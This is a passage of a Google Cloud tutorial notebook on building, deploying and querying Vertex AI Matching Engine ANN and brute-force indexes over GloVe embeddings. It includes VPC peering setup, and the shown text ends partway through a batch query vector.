{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": { "id": "ur8xi4C7S06n" }, "outputs": [], "source": [ "# Copyright 2022 Google LLC\n", "#\n", "# Licensed under the Apache License, Version 2.0 (the \"License\");\n", "# you may not use this file except in compliance with the License.\n", "# You may obtain a copy of the License at\n", "#\n", "# https://www.apache.org/licenses/LICENSE-2.0\n", "#\n", "# Unless required by applicable law or agreed to in writing, software\n", "# distributed under the License is distributed on an \"AS IS\" BASIS,\n", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n", "# See the License for the specific language governing permissions and\n", "# limitations under the License." ] }, { "cell_type": "markdown", "metadata": { "id": "JAPoU8Sm5E6e" }, "source": [ "<table align=\"left\">\n", "\n", " <td>\n", " <a href=\"https://console.cloud.google.com/vertex-ai/workbench/deploy-notebook?download_url=https://raw.githubusercontent.com/GoogleCloudPlatform/vertex-ai-samples/main/notebooks/community/matching_engine/sdk_matching_engine_for_indexing.ipynb\">\n", " <img src=\"https://lh3.googleusercontent.com/UiNooY4LUgW_oTvpsNhPpQzsstV5W8F7rYgxgGBD85cWJoLmrOzhVs_ksK_vgx40SHs7jCqkTkCk=e14-rj-sc0xffffff-h130-w32\" alt=\"Vertex AI logo\">\n", " Run in Vertex Workbench\n", " </a>\n", " </td>\n", " <td>\n", " <a href=\"https://github.com/GoogleCloudPlatform/vertex-ai-samples/blob/main/notebooks/community/matching_engine/sdk_matching_engine_for_indexing.ipynb\">\n", " <img src=\"https://cloud.google.com/ml-engine/images/github-logo-32px.png\" alt=\"GitHub logo\">\n", " View on GitHub\n", " </a>\n", " </td>\n", "</table>" ] }, { "cell_type": "markdown", "metadata": { "id": "tvgnzT1CKxrO" }, "source": [ "## Overview\n", "\n", "This example demonstrates how to use the GCP ANN Service. It is a high scale, low latency solution, to find similar vectors (or more specifically \"embeddings\") for a large corpus. Moreover, it is a fully managed offering, further reducing operational overhead. It is built upon [Approximate Nearest Neighbor (ANN) technology](https://ai.googleblog.com/2020/07/announcing-scann-efficient-vector.html) developed by Google Research.\n", "\n", "### Dataset\n", "\n", "The dataset used for this tutorial is the [GloVe dataset](https://nlp.stanford.edu/projects/glove/).\n", "\n", "\"GloVe is an unsupervised learning algorithm for obtaining vector representations for words. Training is performed on aggregated global word-word co-occurrence statistics from a corpus, and the resulting representations showcase interesting linear substructures of the word vector space.\"\n", "\n", "### Objective\n", "\n", "In this notebook, you will learn how to create Approximate Nearest Neighbor (ANN) Index, query against indexes, and validate the performance of the index. \n", "\n", "The steps performed include:\n", "\n", "* Create ANN Index and Brute Force Index\n", "* Create an IndexEndpoint with VPC Network\n", "* Deploy ANN Index and Brute Force Index\n", "* Perform online query\n", "* Compute recall\n", "\n", "\n", "### Costs \n", "\n", "This tutorial uses billable components of Google Cloud:\n", "\n", "* Vertex AI\n", "* Cloud Storage\n", "\n", "Learn about [Vertex AI\n", "pricing](https://cloud.google.com/vertex-ai/pricing) and [Cloud Storage\n", "pricing](https://cloud.google.com/storage/pricing), and use the [Pricing\n", "Calculator](https://cloud.google.com/products/calculator/)\n", "to generate a cost estimate based on your projected usage." ] }, { "cell_type": "markdown", "metadata": { "id": "S5zc4kbEiYCm" }, "source": [ "## Before you begin\n", "\n", "* **Prepare a VPC network**. To reduce any network overhead that might lead to unnecessary increase in overhead latency, it is best to call the ANN endpoints from your VPC via a direct [VPC Peering](https://cloud.google.com/vertex-ai/docs/general/vpc-peering) connection. The following section describes how to setup a VPC Peering connection if you don't have one. This is a one-time initial setup task. You can also reuse existing VPC network and skip this section.\n", "* **WARNING:** The MatchingIndexEndpoint.match method (to create online queries against your deployed index) has to be executed in a Vertex AI Workbench notebook instance that is created with the following requirements:\n", " * **In the same region as where your ANN service is deployed** (for example, if you set `REGION = \"us-central1\"` as same as the tutorial, the notebook instance has to be in `us-central1`).\n", " * **Make sure you select the VPC network you created for ANN service** (instead of using the \"default\" one). That is, you will have to create the VPC network below and then create a new notebook instance that uses that VPC. \n", " * If you run it in the colab or a Vertex AI Workbench notebook instance in a different VPC network or region, the gRPC API will fail to peer the network (InactiveRPCError)." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "KDH8CgQiSxhv" }, "outputs": [], "source": [ "PROJECT_ID = \"<your_project_id>\" # @param {type:\"string\"}\n", "\n", "NETWORK_NAME = \"my-vpc-network\" # @param {type:\"string\"}\n", "\n", "PEERING_RANGE_NAME = \"my-haystack-range\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "lW2LneA5mmmP" }, "outputs": [], "source": [ "# Create a VPC network\n", "! gcloud compute networks create {NETWORK_NAME} --bgp-routing-mode=regional --subnet-mode=auto --project={PROJECT_ID}\n", "\n", "# Add necessary firewall rules\n", "! gcloud compute firewall-rules create {NETWORK_NAME}-allow-icmp --network {NETWORK_NAME} --priority 65534 --project {PROJECT_ID} --allow icmp\n", "\n", "! gcloud compute firewall-rules create {NETWORK_NAME}-allow-internal --network {NETWORK_NAME} --priority 65534 --project {PROJECT_ID} --allow all --source-ranges 10.128.0.0/9\n", "\n", "! gcloud compute firewall-rules create {NETWORK_NAME}-allow-rdp --network {NETWORK_NAME} --priority 65534 --project {PROJECT_ID} --allow tcp:3389\n", "\n", "! gcloud compute firewall-rules create {NETWORK_NAME}-allow-ssh --network {NETWORK_NAME} --priority 65534 --project {PROJECT_ID} --allow tcp:22\n", "\n", "# Reserve IP range\n", "! gcloud compute addresses create {PEERING_RANGE_NAME} --global --prefix-length=16 --network={NETWORK_NAME} --purpose=VPC_PEERING --project={PROJECT_ID} --description=\"peering range\"\n", "\n", "# Set up peering with service networking\n", "! gcloud services vpc-peerings connect --service=servicenetworking.googleapis.com --network={NETWORK_NAME} --ranges={PEERING_RANGE_NAME} --project={PROJECT_ID}" ] }, { "cell_type": "markdown", "metadata": { "id": "d3uj8x73nDX_" }, "source": [ "* Authentication: Rerun the `gcloud auth login` command in the Vertex AI Workbench notebook terminal when you are logged out and need the credential again." ] }, { "cell_type": "markdown", "metadata": { "id": "i7EUnXsZhAGF" }, "source": [ "### Installation\n", "\n", "Download and install the latest version of the Vertex SDK for Python." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "wyy5Lbnzg5fi" }, "outputs": [], "source": [ "! pip install -U google-cloud-aiplatform" ] }, { "cell_type": "markdown", "metadata": { "id": "irSMQn6gZ19l" }, "source": [ "Install the `h5py` to prepare sample dataset, and the `grpcio-tools` for querying against the index. " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "-h5sqwOEZ5Yq" }, "outputs": [], "source": [ "! pip install -U grpcio-tools\n", "! pip install -U h5py" ] }, { "cell_type": "markdown", "metadata": { "id": "hhq5zEbGg0XX" }, "source": [ "### Restart the kernel\n", "\n", "After you install the additional packages, you need to restart the notebook kernel so it can find the packages." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "EzrelQZ22IZj" }, "outputs": [], "source": [ "# Automatically restart kernel after installs\n", "import os\n", "\n", "if not os.getenv(\"IS_TESTING\"):\n", " # Automatically restart kernel after installs\n", " import IPython\n", "\n", " app = IPython.Application.instance()\n", " app.kernel.do_shutdown(True)" ] }, { "cell_type": "markdown", "metadata": { "id": "BF1j6f9HApxa" }, "source": [ "### Set up your Google Cloud project\n", "\n", "**The following steps are required, regardless of your notebook environment.**\n", "\n", "1. [Select or create a Google Cloud project](https://console.cloud.google.com/cloud-resource-manager).\n", "\n", "1. [Make sure that billing is enabled for your project](https://cloud.google.com/billing/docs/how-to/modify-project).\n", "\n", "1. [Enable the Vertex AI API and Compute Engine API, and Service Networking API](https://console.cloud.google.com/flows/enableapi?apiid=aiplatform.googleapis.com,compute_component,servicenetworking.googleapis.com).\n", "\n", "1. Enter your project ID in the cell below. Then run the cell to make sure the\n", "Cloud SDK uses the right project for all the commands in this notebook.\n", "\n", "**Note**: Jupyter runs lines prefixed with `!` as shell commands, and it interpolates Python variables prefixed with `$` into these commands." ] }, { "cell_type": "markdown", "metadata": { "id": "WReHDGG5g0XY" }, "source": [ "#### Set your project ID\n", "\n", "**If you don't know your project ID**, you may be able to get your project ID using `gcloud`." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "oM1iC_MfAts1" }, "outputs": [], "source": [ "import os\n", "\n", "PROJECT_ID = \"\"\n", "\n", "# Get your Google Cloud project ID from gcloud\n", "if not os.getenv(\"IS_TESTING\"):\n", " shell_output = !gcloud config list --format 'value(core.project)' 2>/dev/null\n", " PROJECT_ID = shell_output[0]\n", " print(\"Project ID: \", PROJECT_ID)" ] }, { "cell_type": "markdown", "metadata": { "id": "qJYoRfYng0XZ" }, "source": [ "Otherwise, set your project ID here." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "riG_qUokg0XZ" }, "outputs": [], "source": [ "if PROJECT_ID == \"\" or PROJECT_ID is None:\n", " PROJECT_ID = \"<your_project_id>\" # @param {type:\"string\"}" ] }, { "cell_type": "markdown", "metadata": { "id": "q7tcBkCDI1_M" }, "source": [ "#### Timestamp\n", "\n", "If you are in a live tutorial session, you might be using a shared test account or project. To avoid name collisions between users on resources created, you create a timestamp for each instance session, and append it onto the name of resources you create in this tutorial." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "HpIK91y1IzDr" }, "outputs": [], "source": [ "from datetime import datetime\n", "\n", "TIMESTAMP = datetime.now().strftime(\"%Y%m%d%H%M%S\")" ] }, { "cell_type": "markdown", "metadata": { "id": "t6Ggbb4DI6by" }, "source": [ "### Authenticate your Google Cloud account\n", "\n", "**If you are using a Vertex AI Workbench notebook**, your environment is already\n", "authenticated. Skip this step." ] }, { "cell_type": "markdown", "metadata": { "id": "RpIzUmpOI9G7" }, "source": [ "**If you are using Colab**, run the cell below and follow the instructions\n", "when prompted to authenticate your account via oAuth.\n", "\n", "**Otherwise**, follow these steps:\n", "\n", "1. In the Cloud Console, go to the [**Create service account key**\n", " page](https://console.cloud.google.com/apis/credentials/serviceaccountkey).\n", "\n", "2. Click **Create service account**.\n", "\n", "3. In the **Service account name** field, enter a name, and\n", " click **Create**.\n", "\n", "4. In the **Grant this service account access to project** section, click the **Role** drop-down list. Type \"Vertex AI\"\n", "into the filter box, and select\n", " **Vertex AI Administrator**. Type \"Storage Object Admin\" into the filter box, and select **Storage Object Admin**.\n", "\n", "5. Click *Create*. A JSON file that contains your key downloads to your\n", "local environment.\n", "\n", "6. Enter the path to your service account key as the\n", "`GOOGLE_APPLICATION_CREDENTIALS` variable in the cell below and run the cell." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "AW9vQHeoI-q_" }, "outputs": [], "source": [ "import os\n", "import sys\n", "\n", "# If you are running this notebook in Colab, run this cell and follow the\n", "# instructions to authenticate your GCP account. This provides access to your\n", "# Cloud Storage bucket and lets you submit training jobs and prediction\n", "# requests.\n", "\n", "# The Vertex AI Workbench notebook product has specific requirements\n", "IS_VERTEX_AI_WORKBENCH_NOTEBOOK = os.path.exists(\n", " \"/opt/deeplearning/metadata/env_version\"\n", ")\n", "\n", "# If on a Vertex AI Workbench notebook, then don't execute this code\n", "if not IS_VERTEX_AI_WORKBENCH_NOTEBOOK:\n", " if \"google.colab\" in sys.modules:\n", " from google.colab import auth as google_auth\n", "\n", " google_auth.authenticate_user()\n", "\n", " # If you are running this notebook locally, log in using gcloud\n", " elif not os.getenv(\"IS_TESTING\"):\n", " ! gcloud auth login" ] }, { "cell_type": "markdown", "metadata": { "id": "zgPO1eR3CYjk" }, "source": [ "### Create a Cloud Storage bucket\n", "\n", "**The following steps are required, regardless of your notebook environment.**\n", "\n", "Set the name of your Cloud Storage bucket below. It must be unique across all\n", "Cloud Storage buckets.\n", "\n", "You may also change the `REGION` variable, which is used for operations\n", "throughout the rest of this notebook. Make sure to [choose a region where Vertex AI services are\n", "available](https://cloud.google.com/vertex-ai/docs/general/locations#available_regions). You may\n", "not use a Multi-Regional Storage bucket for training with Vertex AI." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "MzGDU7TWdts_" }, "outputs": [], "source": [ "BUCKET_URI = \"gs://[your-bucket-name]\" # @param {type:\"string\"}\n", "REGION = \"[your-region]\" # @param {type:\"string\"}" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "cf221059d072" }, "outputs": [], "source": [ "if BUCKET_URI == \"\" or BUCKET_URI is None or BUCKET_URI == \"gs://[your-bucket-name]\":\n", " BUCKET_URI = \"gs://\" + PROJECT_ID + \"aip-\" + TIMESTAMP\n", "\n", "if REGION == \"[your-region]\":\n", " REGION = \"us-central1\"" ] }, { "cell_type": "markdown", "metadata": { "id": "-EcIXiGsCePi" }, "source": [ "**Only if your bucket doesn't already exist**: Run the following cell to create your Cloud Storage bucket." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "NIq7R4HZCfIc" }, "outputs": [], "source": [ "! gsutil mb -l $REGION -p $PROJECT_ID $BUCKET_URI" ] }, { "cell_type": "markdown", "metadata": { "id": "ucvCsknMCims" }, "source": [ "Finally, validate access to your Cloud Storage bucket by examining its contents:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "vhOb7YnwClBb" }, "outputs": [], "source": [ "! gsutil ls -al $BUCKET_URI" ] }, { "cell_type": "markdown", "metadata": { "id": "XoEqT2Y4DJmf" }, "source": [ "### Import libraries and define constants" ] }, { "cell_type": "markdown", "metadata": { "id": "Y9Uo3tifg1kx" }, "source": [ "Import the Vertex AI (unified) client library into your Python environment. \n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "f2d05ab4126a" }, "outputs": [], "source": [ "import h5py" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "pRUOFELefqf1" }, "outputs": [], "source": [ "PROJECT_NUMBER = !gcloud projects list --filter=\"PROJECT_ID:'{PROJECT_ID}'\" --format='value(PROJECT_NUMBER)'\n", "PROJECT_NUMBER = PROJECT_NUMBER[0]\n", "\n", "PARENT = \"projects/{}/locations/{}\".format(PROJECT_ID, REGION)\n", "\n", "print(\"PROJECT_ID: {}\".format(PROJECT_ID))\n", "print(\"REGION: {}\".format(REGION))\n", "\n", "!gcloud config set project {PROJECT_ID} --quiet\n", "!gcloud config set ai_platform/region {REGION} --quiet" ] }, { "cell_type": "markdown", "metadata": { "id": "lR6Wwv-hCCN-" }, "source": [ "## Prepare the data\n", "\n", "The GloVe dataset consists of a set of pre-trained embeddings. The embeddings are split into a \"train\" split, and a \"test\" split.\n", "We will create a vector search index from the \"train\" split, and use the embedding vectors in the \"test\" split as query vectors to test the vector search index.\n", "\n", "**Note:** While the data split uses the term \"train\", these are pre-trained embeddings and therefore are ready to be indexed for search. The terms \"train\" and \"test\" split are used just to be consistent with machine learning terminology.\n", "\n", "Download the GloVe dataset.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "9wzS85TeB9dG" }, "outputs": [], "source": [ "! gsutil cp gs://cloud-samples-data/vertex-ai/matching_engine/glove-100-angular.hdf5 ." ] }, { "cell_type": "markdown", "metadata": { "id": "4fAO9CMoCNtq" }, "source": [ "Read the data into memory.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "lZ3JQTS6CN-3" }, "outputs": [], "source": [ "# The number of nearest neighbors to be retrieved from database for each query.\n", "NUM_NEIGHBOURS = 10\n", "\n", "h5 = h5py.File(\"glove-100-angular.hdf5\", \"r\")\n", "train = h5[\"train\"]\n", "test = h5[\"test\"]" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "pE6bBBo7GjJK" }, "outputs": [], "source": [ "train[0]" ] }, { "cell_type": "markdown", "metadata": { "id": "aQIQSyF9GtSv" }, "source": [ "Save the train split in JSONL format.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "18wCiTwfG40P" }, "outputs": [], "source": [ "with open(\"glove100.json\", \"w\") as f:\n", " for i in range(len(train)):\n", " f.write('{\"id\":\"' + str(i) + '\",')\n", " f.write('\"embedding\":[' + \",\".join(str(x) for x in train[i]) + \"]}\")\n", " f.write(\"\\n\")" ] }, { "cell_type": "markdown", "metadata": { "id": "QuVl8DrWG8NS" }, "source": [ "Upload the training data to GCS." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "3PgsA_vbI8Vg" }, "outputs": [], "source": [ "EMBEDDINGS_INITIAL_URI = f\"{BUCKET_URI}/matching_engine/initial/\"\n", "! gsutil cp glove100.json {EMBEDDINGS_INITIAL_URI}" ] }, { "cell_type": "markdown", "metadata": { "id": "mglUPwHpJH98" }, "source": [ "## Create Indexes\n" ] }, { "cell_type": "markdown", "metadata": { "id": "qhIBCQ7dDSbW" }, "source": [ "### Create ANN Index (for Production Usage)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "qiIg9b5zJLi1" }, "outputs": [], "source": [ "DIMENSIONS = 100\n", "DISPLAY_NAME = \"glove_100_1\"\n", "DISPLAY_NAME_BRUTE_FORCE = DISPLAY_NAME + \"_brute_force\"" ] }, { "cell_type": "markdown", "metadata": { "id": "svLYiDf0OD2G" }, "source": [ "Create the ANN index configuration:\n", "\n", "Please read the documentation to understand the various configuration parameters that can be used to tune the index\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "Y4zooldkGoM4" }, "outputs": [], "source": [ "import os\n", "import sys\n", "\n", "from google.cloud import aiplatform\n", "\n", "aiplatform.init(project=PROJECT_ID, location=REGION, staging_bucket=BUCKET_URI)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "xzY7TpUSJcTV" }, "outputs": [], "source": [ "tree_ah_index = aiplatform.MatchingEngineIndex.create_tree_ah_index(\n", " display_name=DISPLAY_NAME,\n", " contents_delta_uri=EMBEDDINGS_INITIAL_URI,\n", " dimensions=DIMENSIONS,\n", " approximate_neighbors_count=150,\n", " distance_measure_type=\"DOT_PRODUCT_DISTANCE\",\n", " leaf_node_embedding_count=500,\n", " leaf_nodes_to_search_percent=7,\n", " description=\"Glove 100 ANN index\",\n", " labels={\"label_name\": \"label_value\"},\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "17jrQi501QyX" }, "outputs": [], "source": [ "INDEX_RESOURCE_NAME = tree_ah_index.resource_name\n", "INDEX_RESOURCE_NAME" ] }, { "cell_type": "markdown", "metadata": { "id": "kSsqZuyoA1SG" }, "source": [ "### Create Brute Force Index (for Ground Truth)\n", "\n", "The brute force index uses a naive brute force method to find the nearest neighbors. This method is not fast or efficient. Hence brute force indices are not recommended for production usage. They are to be used to find the \"ground truth\" set of neighbors, so that the \"ground truth\" set can be used to measure recall of the indices being tuned for production usage. To ensure an apples to apples comparison, the `distanceMeasureType` and `featureNormType`, `dimensions` of the brute force index should match those of the production indices being tuned.\n", "\n", "Create the brute force index configuration:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "DXnBLqjXBsv8" }, "outputs": [], "source": [ "brute_force_index = aiplatform.MatchingEngineIndex.create_brute_force_index(\n", " display_name=DISPLAY_NAME,\n", " contents_delta_uri=EMBEDDINGS_INITIAL_URI,\n", " dimensions=DIMENSIONS,\n", " distance_measure_type=\"DOT_PRODUCT_DISTANCE\",\n", " description=\"Glove 100 index (brute force)\",\n", " labels={\"label_name\": \"label_value\"},\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "_oD5SieYJbbW" }, "outputs": [], "source": [ "INDEX_BRUTE_FORCE_RESOURCE_NAME = brute_force_index.resource_name\n", "INDEX_BRUTE_FORCE_RESOURCE_NAME" ] }, { "cell_type": "markdown", "metadata": { "id": "omlgEZ-sGoM5" }, "source": [ "## Update Indexes\n", "\n", "Create incremental data file.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "DDAvm_mj_BVs" }, "outputs": [], "source": [ "with open(\"glove100_incremental.json\", \"w\") as f:\n", " f.write(\n", " '{\"id\":\"0\",\"embedding\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}\\n'\n", " )" ] }, { "cell_type": "markdown", "metadata": { "id": "ZU7TU7C7GoM6" }, "source": [ "Copy the incremental data file to a new subdirectory.\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "RLWcDvNLGoM6" }, "outputs": [], "source": [ "EMBEDDINGS_UPDATE_URI = f\"{BUCKET_URI}/matching-engine/incremental/\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "FgpEDX0oGoM6" }, "outputs": [], "source": [ "! gsutil cp glove100_incremental.json {EMBEDDINGS_UPDATE_URI}" ] }, { "cell_type": "markdown", "metadata": { "id": "aiXtF_x0GoM6" }, "source": [ "Create update index request\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "tvedBONtGoM6" }, "outputs": [], "source": [ "tree_ah_index = tree_ah_index.update_embeddings(\n", " contents_delta_uri=EMBEDDINGS_UPDATE_URI,\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "HKPDojFpGoM6" }, "outputs": [], "source": [ "INDEX_RESOURCE_NAME = tree_ah_index.resource_name\n", "INDEX_RESOURCE_NAME" ] }, { "cell_type": "markdown", "metadata": { "id": "qV2xjAnDDObD" }, "source": [ "## Create an IndexEndpoint with VPC Network" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "BpZQoJyxDlbO" }, "outputs": [], "source": [ "VPC_NETWORK_NAME = \"projects/{}/global/networks/{}\".format(PROJECT_NUMBER, NETWORK_NAME)\n", "VPC_NETWORK_NAME" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "QuARXzJVGyQX" }, "outputs": [], "source": [ "my_index_endpoint = aiplatform.MatchingEngineIndexEndpoint.create(\n", " display_name=\"index_endpoint_for_demo\",\n", " description=\"index endpoint description\",\n", " network=VPC_NETWORK_NAME,\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "PJ3bcZqi-cfM" }, "outputs": [], "source": [ "INDEX_ENDPOINT_NAME = my_index_endpoint.resource_name\n", "INDEX_ENDPOINT_NAME" ] }, { "cell_type": "markdown", "metadata": { "id": "np2cgVuuIe9k" }, "source": [ "## Deploy Indexes" ] }, { "cell_type": "markdown", "metadata": { "id": "8Ew1UgcIIiJG" }, "source": [ "### Deploy ANN Index" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "nLOYTGygIlMK" }, "outputs": [], "source": [ "DEPLOYED_INDEX_ID = \"tree_ah_glove_deployed\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "_uK4WOgqN1NG" }, "outputs": [], "source": [ "my_index_endpoint = my_index_endpoint.deploy_index(\n", " index=tree_ah_index, deployed_index_id=DEPLOYED_INDEX_ID\n", ")\n", "\n", "my_index_endpoint.deployed_indexes" ] }, { "cell_type": "markdown", "metadata": { "id": "RNZnXmO5AhDO" }, "source": [ "### Deploy Brute Force Index" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "3p9e4828AkSv" }, "outputs": [], "source": [ "DEPLOYED_BRUTE_FORCE_INDEX_ID = \"glove_brute_force_deployed\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "-2kgd01SA4rk" }, "outputs": [], "source": [ "my_index_endpoint = my_index_endpoint.deploy_index(\n", " index=brute_force_index, deployed_index_id=DEPLOYED_BRUTE_FORCE_INDEX_ID\n", ")\n", "\n", "my_index_endpoint.deployed_indexes" ] }, { "cell_type": "markdown", "metadata": { "id": "6LCGvBNvBd8D" }, "source": [ "## Create Online Queries\n", "\n", "After you built your indexes, you may query against the deployed index through the online querying gRPC API (Match service) within the virtual machine instances from the same region (for example 'us-central1' in this tutorial). " ] }, { "cell_type": "markdown", "metadata": { "id": "IcXa9lSuB9AT" }, "source": [ "Test your query:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "A3KYVw5HB-4v" }, "outputs": [], "source": [ "# Test query\n", "query = [\n", " -0.11333,\n", " 0.48402,\n", " 0.090771,\n", " -0.22439,\n", " 0.034206,\n", " -0.55831,\n", " 0.041849,\n", " -0.53573,\n", " 0.18809,\n", " -0.58722,\n", " 0.015313,\n", " -0.014555,\n", " 0.80842,\n", " -0.038519,\n", " 0.75348,\n", " 0.70502,\n", " -0.17863,\n", " 0.3222,\n", " 0.67575,\n", " 0.67198,\n", " 0.26044,\n", " 0.4187,\n", " -0.34122,\n", " 0.2286,\n", " -0.53529,\n", " 1.2582,\n", " -0.091543,\n", " 0.19716,\n", " -0.037454,\n", " -0.3336,\n", " 0.31399,\n", " 0.36488,\n", " 0.71263,\n", " 0.1307,\n", " -0.24654,\n", " -0.52445,\n", " -0.036091,\n", " 0.55068,\n", " 0.10017,\n", " 0.48095,\n", " 0.71104,\n", " -0.053462,\n", " 0.22325,\n", " 0.30917,\n", " -0.39926,\n", " 0.036634,\n", " -0.35431,\n", " -0.42795,\n", " 0.46444,\n", " 0.25586,\n", " 0.68257,\n", " -0.20821,\n", " 0.38433,\n", " 0.055773,\n", " -0.2539,\n", " -0.20804,\n", " 0.52522,\n", " -0.11399,\n", " -0.3253,\n", " -0.44104,\n", " 0.17528,\n", " 0.62255,\n", " 0.50237,\n", " -0.7607,\n", " -0.071786,\n", " 0.0080131,\n", " -0.13286,\n", " 0.50097,\n", " 0.18824,\n", " -0.54722,\n", " -0.42664,\n", " 0.4292,\n", " 0.14877,\n", " -0.0072514,\n", " -0.16484,\n", " -0.059798,\n", " 0.9895,\n", " -0.61738,\n", " 0.054169,\n", " 0.48424,\n", " -0.35084,\n", " -0.27053,\n", " 0.37829,\n", " 0.11503,\n", " -0.39613,\n", " 0.24266,\n", " 0.39147,\n", " -0.075256,\n", " 0.65093,\n", " -0.20822,\n", " -0.17456,\n", " 0.53571,\n", " -0.16537,\n", " 0.13582,\n", " -0.56016,\n", " 0.016964,\n", " 0.1277,\n", " 0.94071,\n", " -0.22608,\n", " -0.021106,\n", "]\n", "\n", "response = my_index_endpoint.match(\n", " deployed_index_id=DEPLOYED_INDEX_ID, queries=[query], num_neighbors=NUM_NEIGHBOURS\n", ")\n", "\n", "response" ] }, { "cell_type": "markdown", "metadata": { "id": "_mNwdU9_B_Ez" }, "source": [ "### Batch Query\n", "\n", "You can run multiple queries in a single match call:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "A0XL0PJ1GoM9" }, "outputs": [], "source": [ "# Test query\n", "queries = [\n", " [\n", " -0.11333,\n", " 0.48402,\n", " 0.090771,\n", " -0.22439,\n", " 0.034206,\n", " -0.55831,\n", " 0.041849,\n", " -0.53573,\n", " 0.18809,\n", " -0.58722,\n", " 0.015313,\n", " -0.014555,\n", " 0.80842,\n", " -0.038519,\n", " 0.75348,\n", " 0.70502,\n", " -0.17863,\n", " 0.3222,\n", " 0.67575,\n", " 0.67198,\n", " 0.26044,\n", " 0.4187,\n", " -0.34122,\n", " 0.2286,\n", " -0.53529,\n", " 1.2582,\n", " -0.091543,\n", " 0.19716,\n", " -0.037454,\n", " -0.3336,\n", " 0.31399,\n", " 0.36488,\n", " 0.71263,\n", " 0.1307,\n", " -0.24654,\n", " -0.52445,\n", " -0.036091,\n", " 0.55068,\n", " 0.10017,\n", " 0.48095,\n", " 0.71104,\n", " -0.053462,\n", " 0.22325,\n", " 0.30917,\n", " -0.39926,\n", " 0.036634,\n", " -0.35431,\n", " -0.42795,\n", " 0.46444,\n", " 0.25586,\n", " 0.68257,\n", " -0.20821,\n", " 0.38433,\n", " 0.055773,\n", " -0.2539,\n", " -0.20804,\n", " 0.52522,\n", " -0.11399,\n", " -0.3253,\n", " -0.44104,\n", " 0.17528,\n", " 0.62255,\n", " 0.50237,\n", " -0.7607,\n", " -0.071786,\n", " 0.0080131,\n", " -0.13286,\n", " 0.50097,\n", " 0.18824,\n", " -0.54722,\n", " -0.42664,\n", " 0.4292,\n", " 0.14877,\n", " -0.0072514,\n", " -0.16484,\n", " -0.059798,\n", " 0.9895,\n", " -0.61738,\n", " 0.054169,\n", " 0.48424,\n", " -0.35084,\n", " -0.27053,\n", " 0.37829,\n", " 0.11503,\n", " -0.39613,\n", " 0.24266,\n", " 0.39147,\n", " -0.075256,\n", " 0.65093,\n", " -0.20822,\n", " -0.17456,\n", " 0.53571,\n", " -0.16537,\n", " 0.13582,\n", " -0.56016,\n", " 0.016964,\n", " 0.1277,\n", " 0.94071,\n", " -0.22608,\n", " -0.021106,\n", " ],\n", " [\n", " -0.99544,\n", " -2.3651,\n", " -0.24332,\n", " -1.0321,\n", " 0.42052,\n", " -1.1817,\n", " -0.16451,\n", " -1.683,\n", " 0.49673,\n", " -0.27258,\n", " -0.025397,\n", " 0.34188,\n", " 1.5523,\n", " 1.3532,\n", " 0.33297,\n", " -0.0056677,\n", " -0.76525,\n", " 0.49587,\n", " 1.2211,\n", " 0.83394,\n", " -0.20031,\n", " -0.59657,\n", " 0.38485,\n", " -0.23487,\n", " -1.0725,\n", " 0.95856,\n", " 0.16161,\n", " -1.2496,\n", " 1.6751,\n", " 0.73899,\n", " 0.051347,\n", " -0.42702,\n", " 0.16257,\n", " -0.16772,\n", " 0.40146,\n", " 0.29837,\n", " 0.96204,\n", " -0.36232,\n", " -0.47848,\n", " 0.78278,\n", " 0.14834,\n", " 1.3407,\n", " 0.47834,\n", " -0.39083,\n", " -1.037,\n", " -0.24643,\n", " -0.75841,\n", " 0.7669,\n", " -0.37363,\n", " 0.52741,\n", " 0.018563,\n", " -0.51301,\n", " 0.97674,\n", " 0.55232,\n", " 1.1584,\n", " 0.73715,\n", " 